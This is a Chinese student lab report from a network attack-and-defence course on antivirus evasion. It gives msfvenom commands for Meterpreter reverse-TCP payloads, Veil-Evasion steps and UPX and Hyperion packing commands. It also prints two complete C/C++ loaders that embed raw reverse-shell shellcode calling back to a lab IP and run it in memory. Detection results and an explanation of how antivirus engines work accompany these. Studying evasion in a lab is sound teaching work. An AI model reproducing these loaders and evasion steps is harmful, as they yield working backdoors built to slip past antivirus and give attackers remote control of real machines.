2020-2021-2 20181312 【网络对抗技术】Exp3 免杀原理与实践

Exp3 免杀原理与实践

序言

在实验二中,我们生成的后门文件传入Windows时,是把所有杀毒软件和Windows Defender关闭的,因为它们会把后门程序识别出来删除掉,所以,在这个实验中,我们希望能制作出杀毒软件识别不出来的恶意程序。

免杀效果检测

这里有两个网站,集成了众多杀毒软件,可以用于检测

virustotal

virscan

一、实验内容

1.1 方法

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

1.2 通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

二、实验过程

2.1 使用msfvenom生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=1312 -f jar > x86_me_rev_tcp.jar

这样一个jar包可以用在任何平台上。

2.2 使用veil的Evasion

Veil-Evasion是一个免杀平台,与Metasploit有些类似,在Kali的软件库中有,但默认没装。

2.2.1 veil安装

sudo apt -y install veil

可以看到veil是一个相当大的软件

/usr/share/veil/config/setup.sh --force --silent

安装成功

2.2.2 使用Evasion工具制作

Veil-evasion使用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。

veil
use 1 #使用工具1,即evasion

list #查看可以使用的payload

这里我们选择一个python/meterpreter/rev_tcp.py

use 28 #即上述选择

set LHOST 172.20.10.4 #反弹回连至本机
generate

输入生成的文件名为py_revtcp,选择Py2Exe作为python打包器。

可以看到在对应路径下出现了新的文件

可以先把py_revtcp.py、runme.bat、setup.py拷贝到Windows上,这个时候我是开启Windows Defender的实时保护的,但是显然没被删除。

可以看到检测的效果还不错,只有7/58的杀毒软件检测出来了。

2.2.3 测试生成的软件效果

进入py_revtcp.rc所在文件夹

more py_revtcp.rc

可以看得出这是msfconcole中的命令

 msfconsole -r py_revtcp.rc

但此时,Windows安全中心却报了警

这个py_revtcp.py被删除了,当我在此尝试将py_revtcp.py传送过去时,Windows安全中心直接把我的虚拟机给关了。

2.3 加壳

  • 加壳指可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
  • MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为:

  • 压缩壳:减少应用体积,如ASPack,UPX
  • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

2.3.1 压缩壳UPX

这里我们使用实验二生成的后门程序

upx hello_backdoor.exe -o hello_backdoor.update.exe

这时我先将Windows Defender关闭,然后传到Windows上上传至网站上检测

显然,这个upx的压缩壳对免杀没什么用

2.3.2 加密壳Hyperion

在kali中有Hyperion的实现

/usr/share/windows-resources/hyperion目录下有一个hyperion.exe文件,这时Windows下的可执行文件,在Linux下可以使用wine来执行

wine hyperion.exe

看到它有一些选项

wine hyperion.exe -k 16 /home/xieyi20181312/exp2/hello_backdoor.exe /home/xieyi20181312/exp2/hello_update.exe

可以看到成功生成了目标

这时把它copy到Windows上,上传至网站检测

效果相当不理想。

2.4 使用C调用shellcode编程

2.4.1 Linux平台交叉编译Windows应用

这是一种半手工打造恶意软件的方法

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=1312 -f c

生成了如下的buf

把它放进shellcode

#include<stdio.h>

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xac\x14\x0a\x04\x68\x02"
"\x00\x05\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
	int (*func)() = (int(*)())buf;
	func();
}

形成了backdoor_shellcode.c,可以用如下命令编译,在Linux平台编译出可以在Windows平台执行的exe文件

i686-w64-mingw32-g++ backdoor_shellcode.c -o backdoor_shell.exe

把它copy到Windows上上传到网站检测,可以发现它还是不怎么样

2.4.2 VisualStudio编译Windows应用

在VisualStudio新建CMake项目,将代码copy进cpp文件中

// shellcode.cpp: 定义应用程序的入口点。
//

#include "stdafx.h"
//#include "shellcode.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

using namespace std;
//172.20.10.4 1312
const char met[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xac\x14\x0a\x04\x68\x02"
"\x00\x05\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32* addr;
	addr = (INT32*)&met;

	__asm;
	{
		call addr;
	}
	return 0;
}

这里的字符串使用的是前一例的,注意编译代码前要将缺损的头文件copy进项目文件夹,包括stdafx.h、dia2.h、cvconst.h等三个头文件,编译时需要选择x86的编译器而不是x64的编译器,否则会出现一大堆不知道怎么解决的错误,编译成功后即可生成exe文件。

然后放到网站上检测一下

看起来效果非常不错。

2.5 组合应用各种技术实现恶意代码免杀

使用msf生成Shellcode,嵌入C文件,在Windows下编译生成exe,然后放到Linux中加加密壳。

三、回答一些问题

3.1 杀软是如何检测出恶意代码的?

一般来说,杀软有三种检测方式,分别是:基于特征码的检测、启发式恶意软件检测和基于行为的恶意软件检测。

  • 基于特征码的检测:在这里恶意软件的检测并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
  • 启发式恶意软件检测:根据些片面特征去推断,通常是因为缺乏精确判定依据。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等都会成为依据。
  • 基于行为的恶意软件检测:实时监控软件行为,一旦监测到即查杀

3.2 免杀是做什么的?

免杀是指为恶意软件实现不被杀毒软件检测出来的方法。

3.3 免杀基本方法

改变特征码

  • 有exe文件
    • 加壳:压缩壳 加密壳
  • 有shellcode(比如Meterpreter)
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)

改变行为

  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

四、实践总结与体会

这一次实验学到了一些过时的制作免杀的方法,所有尝试的试图开启恶意行为的软件启动时都会被杀毒软件干掉,非常难受。

posted @ 2021-04-04 16:49  临渊履冰  阅读(194)  评论(0编辑  收藏  举报